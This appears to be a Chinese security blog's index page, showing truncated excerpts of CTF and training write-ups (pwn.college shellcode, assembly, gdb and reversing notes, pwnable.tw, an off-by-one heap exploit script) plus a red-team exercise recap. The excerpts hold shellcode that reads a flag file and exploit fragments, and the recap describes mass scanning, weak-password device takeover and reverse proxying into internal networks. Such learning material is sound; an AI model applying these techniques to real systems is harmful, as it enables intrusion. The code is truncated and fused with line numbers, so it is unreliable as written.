【OVER】dojo.pwn.college 做题记录(Assembly Refresher)
汇编的没啥好说的,写就完事了,注意发送到时候别用sendline,他会把最后的换行当成代码执行然后报错
19原以为19很难,需要自己写跳转表,还专门放在最后做的,结果。。。。
123456789101112131415161718192021from pwn import *context.log_level='info'r = process(["/challenge/embryoasm_level19"])shellcode = """ CMP RDI, 4 JL AAA MOV RDI, 4AAA: mov rax, rdi mov rbx, 8 mul rbx mov ebx, DWORD PTR [rax+rsi] jmp rbx"""payload = asm(shellcode, arch='amd64')log.success(str(payload))r.send(payload)r.interacti ...
dojo.pwn.college 做题记录(Shellcode Injection)
1123456789101112131415161718from pwn import *context.log_level='info'r = process("/challenge/babyshell_level1")r.recvuntil("[LEAK] Placing shellcode on the stack at 0x")addr = int(r.recvline()[:-2], 16)log.success("addr => {}".format(hex(addr)))shellcode = shellcraft.amd64.open("/flag")shellcode+= shellcraft.amd64.read('rax', addr+0x100, 0x100)shellcode+= shellcraft.amd64.write(1, addr+0x100, 0x100)payload = asm(shellcode, ...
【OVER】dojo.pwn.college 做题记录(Debugging Refresher)
前面的就不说了,很简单
151234567891011121314startbreak *main+653commands silent set $addr = $rbp-0x18break *main+738commands silent set $local_variable = *(unsigned long long*)$addr printf "Current value: %llx\n", $local_variable continueendcontinue
16勉强能用
123456789startcatch syscall readcommands silent set *(unsigned long long*)($rbp-0x10) = *(unsigned long long*)($rbp-0x18) end continueendcontinue
dojo.pwn.college 做题记录(Reverse Engineering)
1.0有这么个东西
1.1还是一样,有个对比
2.0首先,在原位置还有一个对比
其次,在上面对输入的字符串做了变换
要注意的是字符串是从0开始数的
2.1还是老位置的对比注意对比之前的操作
将v3和v5交换,这两个是什么呢,v3是字符串的第三位,v5是buf之后的一个数据
同时需要注意一个问题,buf字符串是int类型,意味着只有4位,在输入的时候却获取了5位,结合上面的分析,将字符串的第三位和第五位交换
3.0buf一共5位,不难理解吧?
3.1这好像没啥区别
4.0当时好好学c语言确实是个不错的选择
4.1一样的内容,感觉这两题他的对比值不应该这么写=.=
5.0异或嘛,整个小脚本就出来了
5.1一样的东西咯
6.0首先看程序都做了什么
对输入的字符串,奇数位异或0xE3,偶数为异或0xA1
以对称中心交换位置
从小到大排序
并且现在我们知道排序之后的内容,那么就可以直接不用管其他,以现在的位置,奇数位异或0xE3,偶数位异或0xA1,下面两个无效果直接绕过
6.1三次交换
7.0整理程序流程:
交换第1位和第17位
两次异或
排序
反序
根据上述流程可 ...
dojo.pwn.college 做题记录(Program Interaction)
首先呢,这个平台有两种做题方式:一种是在网页上用vscode在线玩,一种是用ssh远程连接到做题平台玩。当然,远程连上去的话环境基本没问题,就是文件down下来比较费劲(可以用这个cat 文件名 | base64),MobaXterm毕竟可以直接拖下来2333
第一题执行就好
第二题将文件拖下来直接逆向尝试后得到flag
第三题执行程序的时候可以看到有提示,程序会检查命令行输入,并且检查的值也给了,冲就行了
第四题看提示需要设置一个环境变量,export xxx=xxx直接设置就行
第五题怎么说呢,做法我第一时间想到了,但是没做出来,还放了好久,为什么呢?因为他丫的tmp下没有那个文件啊,我当时还不知道怎么操作的,创建文件没创建出来,就离谱
这个做法感觉可能不是它要求的做法,按他的要求感觉是要用py脚本?输入可以用这个方法
1./xxxx < /xxxx
第六题和上一题一样的方法,很简单,但还是感觉可能不对,先留着
第七题加个env -i前缀
第八题写个sh脚本启动即可
第九题同上,多了个输入而已
第十题没啥大区别嗷
第十一题和在命令行里操作一样,无非是写到文件里了
第十二题 ...
一周红队总结
跑了一周的红队,算是真正意义上的第一次红队(上次校内的测试全程划水,全程不知道干啥),也算是学了一些东西
首先总结一下问题:
资产收集不完善,因为这次的红队演习目标是一个州内的一百多个目标,虽然前七天只给了部分目标,但是第一天就应该直接去对整个ip段去扫目标
第二三天的时候是去扫整个ip段了,但是对扫出来目标总结不是很完善,首先用的是fscan,感觉用来扫大ip段的时候有时候会不准,没有Goby好用,后期用Goby重新扫的时候也没有对全部目标扫,只是草草的扫了扫,算是一个失误点
对摄像头和路由器等边界网关设备重视程度不够,以边界网关为例,如果能拿下搭建好vpn就可以直接进内网,一个内网1000分…,而且内网设备的保护性一般不大,反向代理一个socks5连接出来就能一段乱干了(反向代理最初用的frp搞出来的,本地用的sstap连接,走虚拟网卡,但是为啥代理好了后ip段直接差那么多?本地是10段,内网主机是172段???我不理解)
明显这次能感觉到弱口令是真的好,手里没有积攒下来的设备弱口令是真的吃亏,但…我是搞二进制的啊,无语…自己手里也没路由器摄像头的cve,还是自己菜了
差不多就 ...
off-by-one和off-by-null利用姿势
通过“强网”拟态学习了off-by-one和off-by-null的姿势,写一下总结
old_school很经典的菜单题,有New、Edit、Print、Remove功能,其中Edit里有一个溢出,可以多写一个字节的内容,即off-by-one,就不上图了,直接上exp分析
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495# -*- coding:utf-8 -*-from pwn import *context.log_level='debug'r = remote("121.36.194.21", 49153)# r = process("./old_school")def New(index, size): ...
pwnable.tw 题目汇总
刷一刷pwnable.tw的题目
start这道题还是有意思啊,自己把汇编代码都能理解,就是思路还是有些僵硬,不够灵活,第一道题就学到了不少,挺好
程序就三个函数:read、write、exit保护全关意味着可以ret2shellcode,但是有个问题:不知道栈地址,所以如果我们能知道一个栈地址的话就可以完成利用
程序只有一个write函数,还是通过系统调用的方式来使用的,这样的话我们只能想办法跳转到write函数之前,看是否有位置可以打印出栈中某个地址看来看去也就只有这一条似乎可以利用“mov ecx, esp”,跳转过去执行发现果然泄露出了栈中一个地址,并且结合汇编代码可知后续的read函数读取的内容也是从这个位置开始保存
知道栈地址就很简单了,ret2shellcode就可以用了,需要注意的时他的输入长度为60,并且到达ret位置需要20个字符,需要控制好shellcode长度
12345678910111213141516171819202122from pwn import *context.log_level = 'debug'# r = pro ...
攻防世界 pwn 新手练习区
get shellhello pwnlevel0when did you bornlevel2CGfsbcgpwn2stringpwn入门题目,做题之前先说几个常用的工具(大佬总不至于跑来找这个题的wp吧 手动狗头)
工具篇
IDA ProIDA是一款优秀的静态反汇编工具,好处就不多说了,什么一键F5、字符串搜索、函数位置查找等等,好用的不得了,下载可以去看雪论坛找。
pwntoolspwntools官网是这样说的:pwntools是一个CTF框架和开发库。它是用Python编写的,旨在快速构建原型和开发,并使利用编写尽可能简单。实际上就是用来帮助写exp的python库,用这个可以快速利用漏洞达到目的
peda这个就基本算不上是一个工具了,它是gdb(Linux下的动态调试工具)的插件,功能挺强大的安装:
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug y ...
蓝桥杯 算法训练
代码近期重新整理中…
ALGO-1 区间k大数查询问题描述代码
资源限制 时间限制:1.0s 内存限制:256.0MB
问题描述 给定一个序列,每次询问序列中第l个数到第r个数中第K大的数是哪个。
输入格式 第一行包含一个数n,表示序列长度。 第二行包含n个正整数,表示给定的序列。 第三个包含一个正整数m,表示询问个数。 接下来m行,每行三个数l,r,K,表示询问序列从左往右第l个数到第r个数中,从大往小第K大的数是哪个。序列元素从1开始标号。
输出格式 总共输出m行,每行一个数,表示询问的答案。
样例输入 5 1 2 3 4 5 2 1 5 2 2 3 2
样例输出 4 2
数据规模与约定 对于30%的数据,n,m<=100; 对于100%的数据,n,m<=1000; 保证k<=(r-l+1),序列中的数<=106。
1234567891011121314151617181920212223242526272829303132333435363738394041424344#include<b ...